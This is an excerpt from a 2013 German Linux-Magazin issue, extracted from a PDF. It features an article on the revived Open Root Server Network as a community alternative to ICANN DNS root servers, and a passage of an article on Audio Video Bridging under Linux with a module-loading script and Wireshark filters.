vermittelt. Ein großartiges Buch, das<br />

enormes Detailwissen mit der Vorstellung<br />

von gutem C++-Stil auf einzigartige<br />

Weise verbindet. (mhu)<br />

n<br />

Info<br />

Bjarne Stroustrup:<br />

The C++ Programming<br />

Language<br />

Addison-Wesley, 2013<br />

1370 Seiten<br />

50 Euro<br />

ISBN: 978-0-3215-6384-2


Know-how<br />

www.linux-magazin.de ORSN 11/2013<br />

84<br />

Das Open Root Server Network will ein Gegengewicht zur ICANN schaffen<br />

Auferstanden<br />

In der Zeitung „The Guardian“ fordert Bruce Schneier die Community dazu auf, das Internet aus den Klauen<br />

der Geheimdienste zu befreien und wieder selbst die Führung zu übernehmen. Dabei helfen könnte ein Projekt,<br />

das schon abgehakt war und beerdigt schien: das Open Root Server Network. Martin Loschwitz<br />

© Hirlesteanu Constantin Ciprian, 123RF.com<br />

Wer sich im Internet bisher heimisch<br />

und vielleicht sogar frei fühlte, erlebt derzeit<br />

herbe Enttäuschungen: Täglich enthüllen<br />

Zeitungen neue Details darüber,<br />

wie Geheimdienste das Netz der Netze<br />

rund um den Globus auf verschiedenste<br />

Arten zum übergroßen Überwachungswerkzeug<br />

umfunktioniert haben.<br />

Back to Power<br />

Die Kontrolle zurückgewinnen, das sei<br />

das Ziel, meint nicht nur Bruce Schneier<br />

(Abbildung 1), der sich als Security-Guru<br />

einen Namen gemacht hat, in seinem<br />

Artikel im Guardian [1]. Seine simple<br />

Logik: Was Techniker einst erfunden haben,<br />

ist inzwischen von Anwälten und<br />

der Politik für üble Zwecke missbraucht<br />

worden und nur die Techniker, die an<br />

der Entwicklung des Internets beteiligt<br />

waren, können es nun wieder in den<br />

Sollzustand versetzen.<br />

Schneier meint offensichtlich jene Community,<br />

die maßgeblich aus technischem<br />

Interesse handelt, und fordert diese auf,<br />

neue Technologien zu entwerfen, die das<br />

Ausspähen von Internetnutzern schwieriger<br />

als bisher und idealerweise unmöglich<br />

machen.<br />

Seinem Aufruf lässt sich leicht beipflichten,<br />

doch schwieriger wird es, wenn<br />

konkrete Lösungsansätze gefragt sind.<br />

Das Open Root Server Network (ORSN,<br />

[2]) geht die Sache praktisch an und liefert<br />

einen Vorschlag, um zumindest den<br />

Missbrauch des DNS-Systems für Überwachungszwecke<br />

zu verhindern.<br />

DNS-Basics<br />

Um zu verstehen, wie ORSN funktioniert,<br />

hilft es, sich zunächst die Funktionsweise<br />

des DNS-Systems insgesamt vor Augen<br />

zu führen. Erklärungen für Internet-<br />

Einsteiger enthalten häufig die Analogie,<br />

DNS sei das Telefonbuch des Internets,<br />

denn es übersetzt Namen wie [www.<br />

google.de] in numerische IP-Adressen,<br />

mit denen sich die Clientprogramme –<br />

also zum Beispiel ein Browser – im Anschluss<br />

verbinden.<br />

In Wahrheit ist das DNS-System fein ziseliert:<br />

Der Benutzer hat auf seinem System<br />

üblicherweise einen Nameserver in<br />

die Konfiguration eingetragen, den die<br />

Komponenten auf dem System nutzen.<br />

In der Regel sind es die Provider, die<br />

diesen Nameserver betreiben. Die Provider-Nameserver<br />

wiederum benötigen<br />

selbst eine Datenquelle, aus der sie ihre<br />

Informationen beziehen, um sie an die<br />

Clients weiterzuleiten.<br />

Rootserver<br />

Hier kommen die DNS-Rootserver ins<br />

Spiel: Sie verwalten die meisten Toplevel-<br />

Domains und wissen, auf welchen Nameservern<br />

sich Daten zu spezifischen Domains<br />

finden lassen. Will ein Client also<br />

[www.​google.​de] aufrufen, dann verbindet<br />

sich der genutzte Nameserver mit den<br />

DNS-Rootservern, schaut nach, wo DNS-<br />

Informationen für die Toplevel-Domain<br />

».de« zu finden sind, redet im Anschluss<br />

mit den Nameservern der Denic-Server<br />

und erhält von diesen schließlich die Information,<br />

dass DNS-Einträge für diese<br />

Domain auf den Google-Nameservern zu<br />

finden sind.<br />

Jeder Name, den ein User in einem Clientprogramm<br />

aufruft, geht also letztlich auf<br />

einen Eintrag in den Zonendateien der<br />

DNS-Rootserver zurück – DNS-Caching<br />

sei in diesem einfachen Beispiel mal außen<br />

vor gelassen. Was so simpel klingt,<br />

ist von zentraler Bedeutung für das Funktionieren<br />

des Internets: Ohne DNS ginge<br />

fast nichts mehr.<br />

Trotzdem haben die mindestens 1,5 Milliarden<br />

Internetnutzer de facto kaum eine<br />

Kontrolle darüber, was in den Rootzonen


Quelle: O’Reilly<br />

Abbildung 1: Der Sicherheitsexperte Bruce Schneier<br />

fordert das Internet aus den Klauen der Geheimdienste<br />

zu befreien. Einen ersten Ansatz dazu<br />

könnte ORSN liefern.<br />

denn nun eigentlich zu finden ist. Nominell<br />

befinden sich die Systeme unter der<br />

Kontrolle der ICANN (Internet Corporation<br />

for Assigned Names and Numbers),<br />

betrieben werden sie aber in der Regel<br />

von kommerziell orientierten Unternehmen,<br />

von denen nicht wenige in den USA<br />

beheimatet sind.<br />

Damit ist es durchaus denkbar, dass sich<br />

über das DNS-System eine umfassende<br />

Kontrolle etablieren lässt, die sogar so<br />

weit gehen kann, auf Grundlage des<br />

DNS-Protokolls den Traffic eines Nutzers<br />

über bestimmte Wege im Netz zu führen.<br />

SSL hilft hier auch nicht: Einerseits ist es<br />

im Fall des Falles für Lauscher kaum ein<br />

Problem, ein SSL-Zertifikat zu erhalten,<br />

das zu einem bestimmten Namen passt.<br />

Und andererseits muss die SSL-PKI spätestens<br />

seit Edward Snowden ebenfalls<br />

als tendenziell unsicher gelten.<br />

Open Root Servers Network<br />

ORSN hat das Ziel, ein alternatives Netzwerk<br />

von DNS-Rootservern zu den offiziellen<br />

zu etablieren, um Provider-gesteuerten<br />

Missbrauch zu verhindern. Die Idee<br />

ist simpel: Anstelle der ICANN-Server tragen<br />

Admins von Nameservern die ORSN-<br />

Rootserver in ihre Konfiguration ein, sodass<br />

die Abfrage von Toplevel-Domains<br />

über die ORSN-Server geschieht.<br />

Zunächst ändert das an der zugrunde liegenden<br />

Technik nichts, ebenso ist es das<br />

erklärte Ziel der ORSN-Betreiber, zu 100<br />

Prozent mit den Einträgen der ICANN-<br />

Rootserver kompatibel zu bleiben. Eigene<br />

Toplevel-Domains will das ORSN keinesfalls<br />

etablieren.<br />

Doch wozu dann der Aufwand? Was<br />

rechtfertigt den Aufbau eines solchen<br />

Nameserver-Systems, wenn letztlich der<br />

Dienst das Gleiche tut wie das bereits<br />

vorhandene System? Das Zauberwort<br />

lautet Kontrolle: Das ORSN versteht sich<br />

als Community-Projekt und ist von sachfremden<br />

Interessen weitestgehend unabhängig,<br />

sodass die Kontrolle über die Inhalte<br />

der DNS-Rootzonen der Community<br />

obliegt. Letztlich realisiert ORSN also<br />

genau das, was Bruce Schneier fordert,<br />

schon mal für das DNS.<br />

Auferstanden<br />

Interessanterweise ist das ORSN keinesfalls<br />

eine neue Erfindung. Von 2002 bis<br />

2008 gab es das Projekt schon einmal,<br />

auch wenn die Vorzeichen für seine Einführung<br />

damals andere waren. Denn anders<br />

als heute waren die DNS-Rootserver<br />

2002 längst nicht so global aufgestellt<br />

– die meisten Server waren in den USA<br />

beheimatet, was insbesondere bei der<br />

Community in Europa zu einigem Unwohlsein<br />

führte.<br />

Mit einem transparenten System, das<br />

global besser verteilt sein sollte, wollten<br />

sich die ORSN-Gründer damals diesem<br />

Ungleichgewicht widersetzen. Seither hat<br />

sich sehr viel getan: Die ICANN erkannte,<br />

dass die DNS-Zentrierung auf Amerika<br />

ein Problem sein könnte, ideologischer<br />

wie technischer Natur. Man fächerte das<br />

DNS-System auf und installierte Nameserver<br />

auch in anderen Ländern.<br />

Zudem baute das ICANN eine Struktur<br />

auf, bei der Nameserver global ihre Inhalte<br />

auf andere Systeme spiegeln und<br />

die IP des Rootservers den Routern zugänglich<br />

machen. Fiel ein Nameserver<br />

aus, gab es also einen anderen, der mit<br />

demselben Datensatz den Dienst wieder<br />

anbieten konnte.<br />

Von Überwachung war bei ORSN damals<br />

allerdings noch keine Rede, und so stellte<br />

das Projekt 2008 nach einer langen Rollout-Phase<br />

den Betrieb ein. Die Erfinder<br />

glaubten, ihr Ziel erreicht zu haben. An-


Know-how<br />

www.linux-magazin.de ORSN 11/2013<br />

86<br />

Abbildung 2: Darstellung der öffentlichen TLD ».com« beim DNS-Query über die<br />

normalen Rootserver …<br />

Abbildung 3: … und über die ORSN-Rootserver. Der Output ist identisch, doch<br />

die ORSN-Server stehen unter der Kontrolle der Community.<br />

gesichts der immer umfassenderen Enthüllungen<br />

von Edward Snowden über die<br />

Aktivitäten der Geheimdienste entschlossen<br />

sich aber Anfang Juli 2013 die Gründer<br />

von ORSN, das Projekt wiederzubeleben<br />

– diesmal unter der Prämisse, ein<br />

Community-basiertes System zu bauen,<br />

das sich auch aus der Community heraus<br />

kontrollieren lässt.<br />

Abgeschlossen 2008,<br />

reanimiert 2013<br />

Das Open Root Servers Network hatte<br />

sich zumindest eingangs tatsächlich auf<br />

den Betrieb von DNS-Servern für die<br />

TLDs beschränkt. Das führte zu einem<br />

großen Problem: Damit Endanwender in<br />

den Genuss des Community-DNS kommen,<br />

benötigen sie selbst einen Nameserver,<br />

der das ORSN nutzt.<br />

Wer in seiner Systemkonfiguration beispielsweise<br />

die Google-Nameserver zum<br />

Einsatz bringt, weil deren IP-Adressen so<br />

leicht zu behalten sind, hat keine Chance<br />

auf den Service, liefert aber durch seine<br />

DNS-Abfragen der Datenkrake Google<br />

direkte Hinweise auf sein Verhalten im<br />

Netz, schlimmstenfalls auch über das<br />

seiner Anwender. Und dass sich jeder<br />

Anwender einen eigenen Nameserver<br />

installiert, erscheint letztlich unrealistisch.<br />

Aus genau diesem Grund bietet<br />

das ORSN mittlerweile auch Zugang zu<br />

einigen öffentlichen DNS-Servern an,<br />

die Endanwender anstelle der vom Provider<br />

angebotenen DNS-Server nutzen<br />

können.<br />

Die Abbildungen 2 und 3 zeigen: Ein Unterschied<br />

lässt sich nicht ausmachen, und<br />

das ist auch genau so gewollt. Unter [3]<br />

steht die aktuelle Liste der verfügbaren<br />

öffentlichen DNS-Server, und demnächst<br />

will ORSN hier noch aufstocken.<br />

Der Anfang ist gemacht,<br />

Mitmachen erwünscht<br />

Mitte September standen dem ORSN insgesamt<br />

acht Server zur Verfügung, die<br />

alle in Europa beheimatet sind – fünf<br />

in Deutschland sowie jeweils einer in<br />

Griechenland, in der Schweiz und in den<br />

Niederlanden. Wer einen Server zur Verfügung<br />

stellen möchte, den lädt ORSN<br />

zur Teilnahme ein. Genaue Informationen<br />

zu den Anforderungen finden sich<br />

auf der <strong>Web</strong>site [2].<br />

ORSN löst sicher nicht alle Probleme im<br />

Hinblick auf die Vorherrschaft im Netz,<br />

aber es ist ein erster Ansatz, um die von<br />

Bruce Schneier geforderte Rückeroberung<br />

des Internets in Angriff zu nehmen.<br />

Schon allein dafür verdienen die Macher<br />

hinter ORSN Anerkennung und Unterstützung.<br />

Bleibt nur zu hoffen, dass sich<br />

viele Admins beteiligen. (mfe) n<br />

Infos<br />

[1] Schneier im Guardian: [http:// www. thegu -<br />

ar dian. com/ commentisfree/ 2013/ sep/ 05/<br />

government‐betrayed‐internet‐nsa‐spying]<br />

[2] Mitmachen bei ORSN:<br />

[http:// www. orsn. org/ de/ join/]<br />

[3] Öffentliche ORSN-Nameserver:<br />

[http:// www. orsn. org/ de/ tech/ pubdns/]<br />

Der Autor<br />

Martin Gerhard Loschwitz<br />

arbeitet als Principal Consultant<br />

bei Hastexo. Er<br />

beschäftigt sich dort intensiv<br />

mit den Themen Hochverfügbarkeit<br />

und Cloud<br />

Computing und pflegt in seiner Freizeit den <strong>Linux</strong>-<br />

Cluster-Stack für Debian GNU/​<strong>Linux</strong>.


Know-how<br />

www.linux-magazin.de AVB 11/2013<br />

88<br />

Audio Video Bridging unter <strong>Linux</strong><br />

Multimedia-Brücke<br />

Audio Video Bridging (AVB) überträgt Multimediadaten in Echtzeit durchs modernisierte Ethernet. Ein Überblick<br />

über Protokolle, geeignete Hardware und <strong>Linux</strong>-Unterstützung. Christoph Kuhr<br />

© Muharrem Zengin, 123RF<br />

schließend einen neuen AVB-Stream mit<br />

einem gemischten Audiosignal zu den<br />

Lautsprechern zu schicken. Daneben<br />

zeichnet ein PC mit Aufnahmesoftware<br />

den AVB-Stream des Mikrofonvorverstärkers<br />

auf. Außerhalb des eigentlichen<br />

AVB-Netzwerks befindet sich ein Laptop,<br />

der über keine AVB-Hardware verfügt. Er<br />

steuert jedoch die AVB-Teilnehmer mit<br />

Hilfe des Protokolls IEEE 1722.1.<br />

AVB-Protokolle<br />

Audio Video Bridging (AVB) heißt eine<br />

neue Funktion für Ethernet-Netzwerke.<br />

Sie bietet präzise Synchronisation aller<br />

Teilnehmer sowie Quality of Service auf<br />

der Netzwerkschicht 2. Damit schafft sie<br />

die Voraussetzung dafür, digitales Audio<br />

und Video in Echtzeit durchs Netzwerk<br />

zu schicken.<br />

Alles per Ethernet<br />

Für AVB gibt es ein Reihe von Anwendungsbereichen.<br />

Sie lassen sich bereits<br />

erraten, wenn man sich die Mitgliederliste<br />

der Avnu Alliance [1] ansieht, die<br />

sich um die Zertifizierung von AVB-Geräten<br />

und die Etablierung der Standards<br />

kümmert. Neben Chipherstellern wie<br />

Intel und Broadcom findet sich hier mit<br />

der Harman-Gruppe, Yamaha und Meyer<br />

Sound die professionelle Audio- und<br />

Video-Branche. Mit EADS ist zudem die<br />

Luftfahrt- und Rüstungsindustrie mit von<br />

der Partie. Für die Autoindustrie gibt es<br />

sogar ein eigenes Whitepaper zur neuen<br />

Netzwerktechnologie [2]. Hier soll AVB<br />

nicht nur für das In-Vehicle-Infotainment<br />

zum Einsatz kommen, sondern auch<br />

Busse wie CAN ersetzen. AVB benötigt<br />

weniger Kabelstrecke und trägt der hochgradigen<br />

Dezentralisierung der Systeme<br />

im Fahrzeug Rechnung.<br />

Die Ethernet-Erweiterungen sind im<br />

Grunde interessant für alle, die Audio<br />

und Video übertragen möchten. Dazu<br />

gehören Konferenzzentren und Hotels sowie<br />

die Veranstaltungstechnik allgemein<br />

mit ihren zahlreichen Mikrofonen, Lautsprechern<br />

und Mischpulten, Kameras<br />

und Bildschirmen. Selbst Privatleute mit<br />

Heimkino und Stereoanlage sollen künftig<br />

alle ihre Geräte mit dem Ethernet-Stecker<br />

verbinden und Abschied von HDMI, DVI,<br />

Miniklinke und Cinch nehmen.<br />

Abbildung 1 zeigt ein kleines AVB-Netzwerk<br />

für die Beschallung einer Veranstaltung.<br />

Es streamt die Mikrofonsignale von<br />

der Bühne mit den Musikern über AVB.<br />

Das Mischpult empfängt und verarbeitet<br />

die Signale aus diesem Stream, um an-<br />

Definiert ist AVB in Standards der Reihe<br />

802 des Institute of Electrical and Electronics<br />

Engineers (IEEE). Die meisten der<br />

Spezifikationen sind nach Registrierung<br />

kostenlos herunterzuladen.<br />

Um sicherzustellen, dass alle Audiosamples<br />

und Videoframes zur richtigen<br />

Zeit wiedergegeben werden, benötigt<br />

AVB einen Synchronisationsmechanismus.<br />

Sonst könnten beispielsweise zwei<br />

Lautsprecher, die Audiosamples zu leicht<br />

unterschiedlichen Zeiten geliefert bekommen,<br />

unerwünschte gegenseitige Auslöschungen<br />

hervorrufen.<br />

Zur Abstimmung dient das Precision<br />

Time Protocol (PTP), definiert in IEEE<br />

802.1AS [3], das alle Clocks innerhalb<br />

einer Domäne synchronisiert. Die Clocks<br />

sind hierarchisch als Baum aufgebaut:<br />

Ein Grand Master generiert die beste lokale<br />

Clock und taktet die AS-Domäne.<br />

Den Grand Master ermittelt der Best-<br />

Master-Clock-Algorithmus (BMCA). Die<br />

Buchstaben S und M an den Switchports<br />

in Abbildung 1 zeigen die hierarchische<br />

Struktur: M steht für Master-, S für Slaveport<br />

(X bindet den Laptop an).<br />

Da es einen undefinierten Zeitraum dauert,<br />

bis ein Paket die unterste Schicht<br />

eines Protokollstapels erreicht hat, misst<br />

jeder PTP-Teilnehmer den Zeitraum der


Bearbeitung vom Senden bis kurz vor<br />

der Bitübertragungsschicht und kommuniziert<br />

diesen. Zusätzlich messen auch<br />

die PTP-Instanzen der AVB-Switches Zeitverzögerungen<br />

im Netzwerk.<br />

Um Unterbrechungsfreiheit zu gewährleisten,<br />

fordern Talker und Listener Netzwerkressourcen<br />

per Stream Reservation<br />

Protocol (SRP) bei den AVB-Switches an<br />

(IEEE 802.1Q-2011 Paragraph 35, [4]).<br />

Die genauen Methoden beschreibt Kapitel<br />

10 des Standards IEEE 802.1ak als<br />

Multiple Registration Protocol (MRP,<br />

[5]). Die wichtigsten Nachrichten sind<br />

»TalkerAdvertise« und »ListenerReady«.<br />

Streams reservieren<br />

Laptop ohne AVB-Karte<br />

AVDECC-Controller<br />

Mikrofonvorverstärker S<br />

mit AVB-Karte<br />

X<br />

AVDECC Talker<br />

M<br />

AVB-Switch<br />

S<br />

AVDECC<br />

IEEE-1722-Stream<br />

Listener<br />

PC mit AVB-Karte<br />

Multichannel Recording<br />

IEEE-1722-Stream<br />

M<br />

AVB-Switch<br />

M S<br />

S<br />

AS-Domäne<br />

M<br />

M<br />

S<br />

Aktiver Lautsprecher<br />

mit AVB-Karte<br />

AVDECC<br />

Listner<br />

IEEE-1722-Stream<br />

AVDECC Listener Talker<br />

Mischpult mit AVB-Karte<br />

AVB 11/2013<br />

Know-how<br />

www.linux-magazin.de<br />

89<br />

Der wesentliche Faktor für die unterbrechungsfreie<br />

Übertragung ist ein gleichmäßig<br />

geformter Datenstrom. Einerseits soll<br />

AVB zeitkritische Frames gegenüber unkritischen<br />

bevorzugen, andererseits soll<br />

es ein Überlaufen der Switchport-Puffer<br />

durch Bursts vermeiden.<br />

Ein via SRP registrierter Stream wird bevorzugt<br />

weitergeleitet, sodass im Falle<br />

knapper Bandbreite der nicht registrierte<br />

Datenverkehr warten muss. Ein kreditbasiertes<br />

Warteverfahren, eine Art Leaky-<br />

Bucket-Algorithmus, vermeidet Zeitüberschreitungen<br />

nicht registrierten Verkehrs.<br />

Näheres dazu findet sich in IEEE 802.1Q-<br />

2011, Paragraph 34 [6].<br />

Der Standard IEEE 1722 [7] umfasst zwei<br />

Protokolle: Das MAC Address Acquisition<br />

Protocol (MAAP) für die Reservierung<br />

von Multicast-MAC-Adressbereichen<br />

und das Audio Video Transport Protocol<br />

(AVTP) für den Transport der Nutzdaten.<br />

Das MAAP beschreibt Funktionen,<br />

die notwendig sind, um mehrere MAC-<br />

Adressen für eine Schicht-2-Multicast-<br />

Übertragung zu registrieren.<br />

AVTP spezifiziert das Rahmenformat des<br />

Audio- und Videodatenstroms, in ihm<br />

werden Pakete nach den Standards IEC<br />

61883-2, 4, 6, 7, 8 verpackt [8]. Diese<br />

IEC-Standards dienen auch zur Übertragung<br />

über Firewire (IEEE 1394). Videodaten<br />

lassen sich im Mpeg-2/​TS-Format verschicken,<br />

Audiodaten mit nicht-linearen<br />

Audioformaten wie AC3 oder mit dem<br />

linearen PCM-Codec mit bis zu 196 Bit<br />

Genauigkeit.<br />

Bei Steuerung und Synchronisation setzt<br />

AVB auf etablierte Protokolle wie MIDI<br />

Abbildung 1: Ein kleines AVB-Netzwerk für eine Beschallungssituation mit Mikrofon, Mischpult, Aktivlautsprecher,<br />

zwei AVB-Switches und Aufzeichnungsgerät.<br />

und SMPTE-Timecode. Die Presentation<br />

Time ist ein 32-Bit-Timestamp, berechnet<br />

aus dem Zeitpunkt, zu dem der AVTP-<br />

Rahmen den Talker verlassen hat (Bitsicherungsschicht),<br />

akkumuliert mit der<br />

Worst-Case-Latenz der Übertragungsstrecke<br />

zum Listener. Sie nennt den genauen<br />

Zeitpunkt, zu dem der Rahmen den Listener<br />

spätestens erreichen darf.<br />

Eine 64-Bit-Stream-ID stellt den einzigartigen<br />

Erkennungswert des Streams dar.<br />

Diese Stream-ID ist die Grundlage für<br />

jeden Transportstrom, um mit SRP Netzwerkressourcen<br />

zu reservieren und bei<br />

der Weiterleitung zeitkritischer Ethernet-<br />

Rahmen berücksichtigt zu werden.<br />

Management<br />

Im Standard IEEE 1722.1 „Audio/​Video<br />

Discovery, Enumeration, Configuration<br />

and Control“ (AVDECC, [9]) sind mehrere<br />

Protokolle und Funktionen zusammengefasst.<br />

Er befindet sich noch im<br />

Entwurfsstadium, der aktuelle Stand ist<br />

D23v2. Speziell bei diesem Standard hat<br />

es lange gedauert, bis sich alle Parteien<br />

des Gremiums einigen konnten, nun steht<br />

er kurz vor der Ratifizierung.<br />

Jedes zum IEEE 1722.1 konforme Endgerät<br />

besitzt ein AVDECC Entity Model<br />

(AEM), das unterschiedliche Konfigurationen<br />

speichern kann. Die enthaltenen<br />

Informationen sind für die drei Protokolle<br />

AVDECC Connection Management Protocol<br />

(ACMP), AVDECC Enumeration and<br />

Control Protocol (AECP) und AVDECC<br />

Discovery Protocol (ADP) erforderlich.<br />

Mit ADP können sich Endgeräte in der<br />

AVB-Domäne an- und abmelden sowie<br />

nach anderen Endgeräten suchen. Verschiedene<br />

Steuerfunktionen der Endgeräte<br />

lassen sich per AECP realisieren, beispielsweise<br />

Konfigurationen umschalten,<br />

die Firmware aktualisieren oder Parameter<br />

in Echtzeit steuern.<br />

ACMP steuert den Auf- und Abbau der<br />

Verbindung zwischen Talker und Listener.<br />

Die Bandbreite für den Stream wird<br />

mit SRP reserviert. Der Talker sichert<br />

sich mit Hilfe des MAAP alle benötigten<br />

MAC-Adressen (Listener, Switchports der<br />

Route). Es gibt zwei Modi beim Verbindungsaufbau.<br />

Entweder bauen mehrere<br />

Endgeräte im Fast-Connect-Modus eine<br />

automatische Verbindung mit ihren gespeicherten<br />

Informationen auf oder ein<br />

AVDECC-Controller steuert die Verbindung<br />

im Controller-Connect-Modus.<br />

Hardware<br />

Die AVB-Protokolle der Netzwerkschicht<br />

2 benötigen zwingend Hardware-Unterstützung.<br />

Auf dem Markt gibt es bereits<br />

Systeme, die AVB unterstützen, obwohl<br />

noch nicht alle Standards abgeschlossen<br />

sind. Die Firma Riedel [10] hat schon ein<br />

paar Geräte in ihrem Portfolio, die Firma<br />

Audinate [11] beschreibt ihre Dante-Produkte<br />

als „AVB Ready“. Zudem gibt es<br />

Komplettlösungen von Uman [12]. Auch


Know-how<br />

www.linux-magazin.de AVB 11/2013<br />

90<br />

01 #!/bin/bash<br />

02 <br />

03 rmmod igb<br />

04 rmmod igb_avb<br />

05 insmod ./igb_avb.ko<br />

06 sleep 1<br />

07 ifconfig eth1 down<br />

andere Mitglieder der Avnu haben AVB-<br />

Produkte im Angebot.<br />

Der britische Prozessorhersteller Xmos<br />

[13] bietet mit seinen Entwickler-Boards<br />

Xcore eine günstige Lösung für kleine<br />

AVB-Anwendungen und benutzt dabei<br />

einen Open-Source-Stack. Auch die Firma<br />

Uman unterstützt die Xcore-Plattform.<br />

Lab X [14] bietet ebenfalls AVB-Software-<br />

Lizenzen für Xilinx und Marvell, sowie<br />

neuerdings auch für Altera, die jedoch für<br />

Endnutzer unerschwinglich sind.<br />

Aus Hongkong kommt vom Hersteller<br />

DSP4You [15] ein erschwinglicher 5-Port-<br />

AVB-Switch für rund 100 US-Dollar, der<br />

auf dem Chipset 88E7251 von Marvell<br />

basiert. Ihm fehlt ein <strong>Web</strong>interface für etwaige<br />

Einstellungen, er lässt sich aber als<br />

AVB-Endgerät für eigene Entwicklungen<br />

einsetzen. Die Firma Lab X hat einen kleinen<br />

5-Port-AVB-Switch namens Titanium<br />

411 für 800 Dollar im Angebot, Features<br />

wie Port Mirroring fehlen aber.<br />

Der Hersteller Netgear [16] bietet zusammen<br />

mit dem Pro-Audio-Hersteller BSS<br />

den 24-Port-AVB-Switch GS724T an, sein<br />

08 echo 0 > /sys/class/net/eth1 /queues/tx‐0/xps_cpus<br />

09 echo 0 > /sys/class/net/eth1/queues/tx‐1/xps_cpus<br />

10 echo f > /sys/class/net/eth1/queues/tx‐2/xps_cpus<br />

11 echo f > /sys/class/net/eth1/queues/tx‐3/xps_cpus<br />

12 ifconfig eth1 up<br />

Abbildung 2: Intel vermarktet die Netzwerkkarten seiner Serie I210 unter<br />

dem Schlagwort AVB.<br />

Listing 1: <strong>Linux</strong>-AVB aktivieren<br />

Preis lag zur Markteinführung<br />

bei 1800 Euro.<br />

Für Rechenzentren<br />

liefert Extreme Networks<br />

[17] skalierbare<br />

AVB-Lösungen. Marvell<br />

vermarktet seine<br />

Netzwerkkarte Yukon<br />

Optima 88E8059 mit<br />

AVB-Support [18]. Die<br />

Dokumentation gibt es<br />

jedoch erst bei einer<br />

Abnahme von mehr<br />

als 100 000 Stück und<br />

der aktuelle Treiber<br />

Sky2 bietet keine AVB-<br />

Funktionen.<br />

Anders ist das bei einer im Frühjahr 2013<br />

erschienenen Produktreihe von Intel, die<br />

bei Händlern wie Reichelt und Amazon<br />

rund 70 Euro kostet. Die Serie I 210 bietet<br />

kompletten AVB-Hardware-Support,<br />

das dafür erforderliche IGB-Modul ist seit<br />

Version 3.4.0 im <strong>Linux</strong>-Kernel integriert<br />

(Abbildung 2).<br />

Open AVB<br />

Für AVB-Treiber und weitere Software<br />

sorgt das Open-Source-Projekt Open AVB,<br />

das Intel ins Leben gerufen hat [19]. Der<br />

Code für den Kernel steht unter GPLv2,<br />

weitere Komponenten unter BSD-Lizenz.<br />

Der aktuelle Zweig ist »open‐avb‐next«.<br />

Das Projekt umfasst ein IGB-AVB-Kernelmodul,<br />

einen GPTP-Daemon (eine von<br />

mehreren <strong>Linux</strong>-Implementierungen des<br />

PTP-Protokolls), einen MRP-Daemon sowie<br />

Beispielanwendungen für Talker und<br />

Listener.<br />

Im Unterschied zum Standard-IGB-Modul<br />

von <strong>Linux</strong> verfügt das AVB-Modul über<br />

zwei spezielle Queues für AVB-Streams.<br />

Sie kommen bei der Priorisierung des<br />

Ethernet-Verkehrs zum Einsatz. Das AVB-<br />

Modul kompiliert der Anwender mit PTP-<br />

Clock-Unterstützung, anschließend lädt<br />

er das Modul und lenkt die Standard-<br />

LAN-Queues des Userspace mit dem<br />

Shellskript in Listing 1 um.<br />

Der Autor hat den Open-AVB-Stack auf<br />

<strong>Linux</strong> Mint 14 (AMD 64) mit der Kernelversion<br />

3.9.0-rc8-generic getestet. Als<br />

Netzwerkkarte diente eine Intel I 210.<br />

Über einen Lab-X-Titanium 411 oder einen<br />

DSP4U-AVB-Switch war der Rechner<br />

mit zwei Xmos-AVB-Entwicklungsboards<br />

verbunden. Auf den Boards hatte er je<br />

eine Listener- und eine Talker- Instanz<br />

konfiguriert, die als Gegenstellen für die<br />

Tests dienten.<br />

Kinderkrankheiten<br />

Der GPTP-Daemon synchronisiert sich<br />

nach seinem Start erwartungsgemäß mit<br />

der verbundenen 802.1AS-Domäne. Mit<br />

einem Titanium-AVB-Switch von Lab X<br />

kann es jedoch vorkommen, dass folgende<br />

Fehlermeldung erscheint:<br />

Error (TX) timestamping Sync, error=‐72<br />

Der Switch verliert dabei seine PTP-Synchronität<br />

und alle Streams reißen ab. Der<br />

Fehler liegt in der Firmware des Titanium,<br />

der Hersteller arbeitet derzeit an Abhilfe.<br />

Eine Alternative ist der Switch von DSP-<br />

4You. Dieser verursacht jedoch bislang<br />

unerklärte Inter Packet Gaps (IPG) von<br />

900 Mikrosekunden statt der geforderten<br />

125 Mikrosekunden.<br />

Der MRP-Daemon hingegen funktionierte<br />

im Test des Autors einwandfrei. Eingehende<br />

»TalkerAdvertise«-Nachrichten bestätigt<br />

er mit »ListenerReady«-Messages,<br />

als Antwort auf »TalkerAdvertise« kommt<br />

»ListenerReady«. Die »ListenerReady«-<br />

Nachricht setzt dabei die Beispielanwendung<br />

»simple_listener« aus dem Open-<br />

AVB-Quelltext ab (Abbildung 3). Dieses<br />

kleine Programm verbindet sich mit<br />

einem Talker und erzeugt nach erfolgreichem<br />

Verbindungsaufbau eine Wav-<br />

Datei. Die Nachricht »TalkerAdvertise«<br />

verschickt das Beispielprogramm »simple_talker«.<br />

Es erzeugt eine synthetische<br />

Sinusschwingung von 480 Hz.<br />

Der Verbindungsaufbau war nach dem<br />

Anpassen einiger Parameter im Xmos-<br />

Quellcode möglich, doch es ließen sich<br />

keine Audiosamples empfangen oder<br />

versenden. Der Grund hierfür ist die<br />

noch unvollständige Implementierung<br />

des Open-AVB Stacks: Es gibt noch keine<br />

Tabelle 1: Wireshark-Filter für AVB<br />

Protokoll<br />

PTP<br />

MSRP<br />

MVRP<br />

MMRP<br />

IEEE 1722<br />

AVDECC 1722.1<br />

Filterausdruck<br />

ptp<br />

mrp-msrp<br />

mrp-mvrp<br />

mrp-mmrp<br />

ieee1722<br />

ieee1722


Abbildung 3: Das Beispielprogramm »simple_listener« schreibt die empfangenen Audiodaten in eine Wav-Datei.<br />

Schnittstellen für die Integration von AVB<br />

mit Soundsystemen wie Alsa oder Jack.<br />

Solche Anpassungen diskutieren die Entwickler<br />

derzeit auf der Mailingliste des<br />

Open-AVB-Projekts. In Setups mit zwei<br />

<strong>Linux</strong>-Rechnern, die über eine I-210-Karte<br />

mit dem AVB-Netzwerk verbunden sind,<br />

soll die korrekte Übertragung von AVB-<br />

Streams bereits geglückt sein.<br />

Mit dem Netzwerk-Tool Wireshark lassen<br />

sich alle AVB-Frames betrachten. Dafür<br />

sind die Filter in Tabelle 1 relevant: So<br />

lässt sich beispielsweise die MRP-Nachricht<br />

»TalkerAdvertise« in den Netzwerkdaten<br />

finden (Abbildung 4).<br />

Zahlreiche Firmen investieren in die Entwicklung<br />

und Umsetzung von AVB. Allerdings<br />

gibt es trotz Standardisierung durch<br />

die IEEE noch erhebliche Unterschiede<br />

bei der Implementierung. Zurückzuführen<br />

sind sie auf die vielen unterschiedlichen<br />

Entwürfe der Standards.<br />

Work in Progress<br />

Der Open-AVB-Stack und die Intel-Karte<br />

I 210 stellen die erste öffentliche Implementierung<br />

von AVB für <strong>Linux</strong> dar. Man<br />

